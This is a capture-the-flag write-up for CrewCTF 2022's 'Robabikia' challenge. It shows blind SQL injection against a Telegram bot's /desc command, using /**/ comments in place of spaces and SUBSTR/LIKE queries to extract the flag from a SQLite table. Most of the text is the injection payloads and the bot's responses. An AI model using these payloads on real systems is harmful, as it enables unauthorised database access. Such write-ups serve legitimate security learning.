### Original writeup

**[https://github.com/Samik081/ctf-writeups/blob/master/CrewCTF%202022/web/robabikia.md](https://github.com/Samik081/ctf-writeups/blob/master/CrewCTF%202022/web/robabikia.md)**
## Robabikia (906 points)

### Description
In 70's my grandfather sold a flag but I think we lost the value of it, can you help us find it? Contact the seller: https://t.me/crewctf_Robabikia_bot

Author: omakmoh#1070

https://t.me/crewctf_Robabikia_bot

### Telegram bot
This challenge starts with messaging the telegram bot:
```
/start
----------------------------------------------------
/items - Return the item list.
/price - Return the price of item.
/desc - Return the description of item.
/value - Return the value of item.
/help or /start - list available commands to use.
Use the command and specifiy the item ID
```
Listing the items:
```
/items
----------------------------------------------------
1 - Broken Radio
2 - Fridge
3 - Goldstar TV
4 - Plastic Table
5 - Old Ancient FLAG
```
Price:
```
/price 5
----------------------------------------------------
31337$
```
Description:
```
/desc 5
----------------------------------------------------
The old ancient flag your Grandfather want.
```
Value (should be the flag):
```
/value 5
----------------------------------------------------
This feature currently Temporary Disabled
```

### SQL Injection confirmation
Probable SQL Injection:
```
/desc 1'
----------------------------------------------------
Error has been occured
```
Confirmed SQL Injection:
```
/desc 1' OR '
----------------------------------------------------
Radio to listen uninterrupted music, but need to fix
```
More complex queries like this didn't work:
```
/desc 1' OR (SELECT 1) OR '1
----------------------------------------------------
Error has been occured
```

### SQL Injection method discovery
In order to be able to run more complex queries that need SPACES, you can replace them with inline comments `/**/`, so this queries now let us determine DBMS:
```
/desc '/**/OR/**/@@version/**/--
----------------------------------------------------
Error has been occured

/desc '/**/OR/**/sqlite_version()/**/--
----------------------------------------------------
Radio to listen uninterrupted music, but need to fix
```
So, looks like a Blind SQL Injection on `desc` parameter, SQLite back-end.

As the challenge description states - we need to find the value of the flag (item 5). This query confirms we have `value` column in this table
```
/desc '/**/GROUP/**/BY/**/value--
----------------------------------------------------
Item not found
```

Let's find the length of the flag (hopefully):
```
/desc 5'/**/AND/**/LENGTH(value)>35
----------------------------------------------------
The old ancient flag your Grandfather want.

/desc 5'/**/AND/**/LENGTH(value)>50 --
----------------------------------------------------
Item not found

[after few queries...]

/desc 5'/**/AND/**/LENGTH(value)=47 --
----------------------------------------------------
The old ancient flag your Grandfather want.
```

Length of the flag is 47. We can pretty easily confirm, that this indeed is the flag by checking the first characters for the flag format:
```
/desc 5'/**/AND/**/value/**/LIKE/**/'crew%{%}' --
----------------------------------------------------
The old ancient flag your Grandfather want.
```

### Getting the flag
I have tried UNION Selects and spend few hours on trying to find quicker way, but I ended up in just using Blind SQL Injection to dump the flag
```
/desc 5'/**/AND/**/SUBSTR(value,1,1)/**/>/**/'a' --
----------------------------------------------------
The old ancient flag your Grandfather want.

...
...
...
```
It took me approx. 1 hour to dump the 47 (- 6 because of known format) characters long flag using Blind SQL Injection on the Telegram Bot.

For some reason, I feel satisfied. :D
```
/desc 5'/**/AND/**/value/**/LIKE/**/'crew{U53_fa57_WAY_1n_5QL_1nj3C710N_1N_t3l3_B0t}' --
----------------------------------------------------
The old ancient flag your Grandfather want.
```

Original writeup (https://github.com/Samik081/ctf-writeups/blob/master/CrewCTF%202022/web/robabikia.md).